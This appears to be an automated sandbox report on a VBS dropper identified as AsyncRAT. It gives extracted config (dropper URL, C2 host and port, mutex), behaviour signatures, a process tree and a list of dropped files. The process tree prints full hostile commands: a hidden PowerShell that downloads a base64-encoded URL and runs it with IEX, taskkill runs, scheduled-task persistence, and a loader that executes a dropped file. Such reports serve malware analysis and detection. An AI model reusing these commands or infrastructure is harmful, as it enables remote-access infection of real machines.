Analysis

  • max time kernel
    299s
  • max time network
    294s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    04/05/2026, 12:11

General

  • Target
    Voice_Eyad_Algeria_mali2026.vbs
  • Size 14KB
  • Sample260504-pcrdxaaw7x
  • SHA256 7b5ff9ebc349ec7ab62d28677ea60e007db2496e2344bc19ae290da3b49cb7f4
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://pchs3.krakencloud.net/uploads/02-05-2026/uwiNbVhD3B/image.png

Extracted

Family
  • asyncrat

Version
  • MDGO LY RAT

Botnet
  • B01

C2
  • freedoom.ydns.eu:6161

Mutex
  • AsyncMutex_6SI8OkPnk

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • Family: AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

  • ConfuserEx .NET packer 1 IoCs

    Detects ConfuserEx .NET packer.

  • Suspicious use of SetThreadContext 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Kills process with taskkill 10 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 17 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Voice_Eyad_Algeria_mali2026.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4884
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -ExecutionPolicy bypass -Command "[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByName((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method, [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly9wY2hzMy5rcmFrZW5jbG91ZC5uZXQvdXBsb2Fkcy8wMi0wNS0yMDI2L3V3aU5iVmhEM0IvaW1hZ2UucG5n')) )|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByName"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1812
      • C:\Windows\system32\schtasks.exe
        "C:\Windows\system32\schtasks.exe" /delete /tn devil /f
        3⤵
          PID:4268
        • C:\Windows\system32\taskkill.exe
          "C:\Windows\system32\taskkill.exe" /IM CCleanerBrowser.exe /F
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:4700
        • C:\Windows\system32\taskkill.exe
          "C:\Windows\system32\taskkill.exe" /IM aspnet_regbrowsers.exe /F
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2488
        • C:\Windows\system32\taskkill.exe
          "C:\Windows\system32\taskkill.exe" /IM aspnet_compiler.exe /F
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1716
        • C:\Windows\system32\taskkill.exe
          "C:\Windows\system32\taskkill.exe" /IM AppLaunch.exe /F
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:536
        • C:\Windows\system32\taskkill.exe
          "C:\Windows\system32\taskkill.exe" /IM InstallUtil.exe /F
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:4656
        • C:\Windows\system32\taskkill.exe
          "C:\Windows\system32\taskkill.exe" /IM jsc.exe /F
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:3632
        • C:\Windows\system32\taskkill.exe
          "C:\Windows\system32\taskkill.exe" /IM MSBuild.exe /F
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1760
        • C:\Windows\system32\taskkill.exe
          "C:\Windows\system32\taskkill.exe" /IM RegAsm.exe /F
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:3800
        • C:\Windows\system32\taskkill.exe
          "C:\Windows\system32\taskkill.exe" /IM cvtres.exe /F
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:564
        • C:\Windows\system32\taskkill.exe
          "C:\Windows\system32\taskkill.exe" /IM RegSvcs.exe /F
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:4228
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /Create /XML C:\Users\Public\Music\/Googless.xml /TN devil
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:776
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn devil
          3⤵
            PID:1852
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Public\Music\ERMQQATKFQF.vbs"
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:232
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass $usefont='ReadAllText';$egbus='C:\Users\Public\Music\/COJLCAHTKUTB.NRXED';IEx([IO.File]::$usefont($egbus))
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4388
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
            3⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:4392
      • C:\Windows\System32\WScript.exe
        C:\Windows\System32\WScript.exe "C:\Users\Public\Music\//ERMQQATKFQF.vbs"
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:3948
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass $usefont='ReadAllText';$egbus='C:\Users\Public\Music\/COJLCAHTKUTB.NRXED';IEx([IO.File]::$usefont($egbus))
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4244
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
            3⤵
            • System Location Discovery: System Language Discovery
            PID:1492
      • C:\Windows\System32\WScript.exe
        C:\Windows\System32\WScript.exe "C:\Users\Public\Music\//ERMQQATKFQF.vbs"
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:4948
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass $usefont='ReadAllText';$egbus='C:\Users\Public\Music\/COJLCAHTKUTB.NRXED';IEx([IO.File]::$usefont($egbus))
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1464
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
            3⤵
            • System Location Discovery: System Language Discovery
            PID:2664
      • C:\Windows\System32\WScript.exe
        C:\Windows\System32\WScript.exe "C:\Users\Public\Music\//ERMQQATKFQF.vbs"
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:764
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass $usefont='ReadAllText';$egbus='C:\Users\Public\Music\/COJLCAHTKUTB.NRXED';IEx([IO.File]::$usefont($egbus))
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:224
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
            3⤵
            • System Location Discovery: System Language Discovery
            PID:4644
      • C:\Windows\System32\WScript.exe
        C:\Windows\System32\WScript.exe "C:\Users\Public\Music\//ERMQQATKFQF.vbs"
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:3900
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass $usefont='ReadAllText';$egbus='C:\Users\Public\Music\/COJLCAHTKUTB.NRXED';IEx([IO.File]::$usefont($egbus))
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2200
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
            3⤵
            • System Location Discovery: System Language Discovery
            PID:2088

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            powershell.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            • Size 3KB
            • SHA256 e0ba170aa0323f77d80bac4816dafd70f03b19ac10787149a35333d91529bb32
            • MD5 SHA1 SHA512 TLSH

            aspnet_compiler.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\aspnet_compiler.exe.log
            • Size 425B
            • SHA256 85ad0d9909461517acf2e24ff116ca350e9b7000b4eefb23aa3647423c9745b4
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 fd949ff64bc93b6bcff447de4f7307dbd4cfb391faf81efe2a845f8349d9b10c
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 a761ee5dd0e0eee9e7f79eec31d1db3731f30048ddd7c803b7f47d558906d75e
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 96f3feae914c86dab9562fe0daf3ec7d2a768d47411806954798b28ce6feca90
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 8ea8669d33001866fc036a3af60c0fc069c528449a8c0ca4a25325e5b217b8af
            • MD5 SHA1 SHA512 TLSH

            __PSScriptPolicyTest_v0v3heo4.qan.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v0v3heo4.qan.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            COJLCAHTKUTB.NRXED

            • Path C:\Users\Public\Music\COJLCAHTKUTB.NRXED
            • Size 670KB
            • SHA256 dea1e90127c8030d532c2d17519682c1a11a774e564c185e993dcb3c89d6579b
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ERMQQATKFQF.vbs

            • Path C:\Users\Public\Music\ERMQQATKFQF.vbs
            • Size 246B
            • SHA256 639814200de9a73241038c0cc97fceabf8fb65e63e5fc9e65e66d3db930c507e
            • MD5 SHA1 SHA512 TLSH

            Googless.xml

            • Path C:\Users\Public\Music\Googless.xml
            • Size 1KB
            • SHA256 7392c08755d11b3543226b21bfa1d43c7dd9ebafec43555fdee6832b9d9469d4
            • MD5 SHA1 SHA512 TLSH

            memory/224-131-0x000002CDE2710000-0x000002CDE271C000-memory.dmp

            memory/224-132-0x000002CDE4060000-0x000002CDE4072000-memory.dmp

            memory/232-21-0x000001FA75DB0000-0x000001FA75DBC000-memory.dmp

            memory/764-116-0x00000212BFAD0000-0x00000212BFADC000-memory.dmp

            memory/1464-82-0x0000023447CE0000-0x0000023447CF2000-memory.dmp

            memory/1464-81-0x0000023447BC0000-0x0000023447BCC000-memory.dmp

            memory/1492-53-0x0000000001050000-0x00000000010CB000-memory.dmp

            memory/1492-54-0x00000000050B0000-0x000000000514C000-memory.dmp

            memory/1812-17-0x000002242D300000-0x000002242D30C000-memory.dmp

            memory/1812-18-0x000002242D6F0000-0x000002242D702000-memory.dmp

            memory/1812-14-0x0000022445AB0000-0x0000022445AC0000-memory.dmp

            memory/1812-10-0x0000022445AB0000-0x0000022445AC0000-memory.dmp

            memory/1812-8-0x000002242D7C0000-0x000002242D7E2000-memory.dmp

            memory/1812-15-0x0000022445AB0000-0x0000022445AC0000-memory.dmp

            memory/1812-31-0x000002242D300000-0x000002242D30C000-memory.dmp

            memory/1812-2-0x0000022445AB0000-0x0000022445AC0000-memory.dmp

            memory/1812-1-0x0000022445AB0000-0x0000022445AC0000-memory.dmp

            memory/1812-19-0x0000022445AB0000-0x0000022445AC0000-memory.dmp

            memory/2088-179-0x00000000029E0000-0x0000000002A7C000-memory.dmp

            memory/2088-178-0x0000000000CE0000-0x0000000000D5B000-memory.dmp

            memory/2200-182-0x0000019479820000-0x0000019479832000-memory.dmp

            memory/2200-181-0x0000019461290000-0x000001946129C000-memory.dmp

            memory/2664-79-0x0000000005970000-0x0000000005A0C000-memory.dmp

            memory/2664-78-0x0000000001AA0000-0x0000000001B1B000-memory.dmp

            memory/3900-166-0x0000018FE9260000-0x0000018FE926C000-memory.dmp

            memory/3948-33-0x000001EF972E0000-0x000001EF972EC000-memory.dmp

            memory/4244-58-0x000002272D680000-0x000002272D692000-memory.dmp

            memory/4244-57-0x000002272D430000-0x000002272D43C000-memory.dmp

            memory/4388-50-0x0000025097BA0000-0x0000025097BAC000-memory.dmp

            memory/4388-35-0x00000250B1AE0000-0x00000250B1B0C000-memory.dmp

            memory/4388-51-0x0000025099510000-0x0000025099522000-memory.dmp

            memory/4388-42-0x00000250B1A60000-0x00000250B1A66000-memory.dmp

            memory/4392-48-0x00000000053D0000-0x00000000053DA000-memory.dmp

            memory/4392-61-0x0000000005350000-0x0000000005357000-memory.dmp

            memory/4392-60-0x0000000002A30000-0x0000000002ACC000-memory.dmp

            memory/4392-59-0x0000000000F90000-0x000000000100B000-memory.dmp

            memory/4392-47-0x00000000053E0000-0x0000000005472000-memory.dmp

            memory/4392-46-0x00000000057A0000-0x0000000005D46000-memory.dmp

            memory/4392-43-0x0000000000400000-0x0000000000418000-memory.dmp

            memory/4644-128-0x0000000000AD0000-0x0000000000B4B000-memory.dmp

            memory/4644-129-0x00000000026B0000-0x000000000274C000-memory.dmp

            memory/4884-0-0x0000028C3F8C0000-0x0000028C3F8CC000-memory.dmp

            memory/4948-65-0x0000012516590000-0x000001251659C000-memory.dmp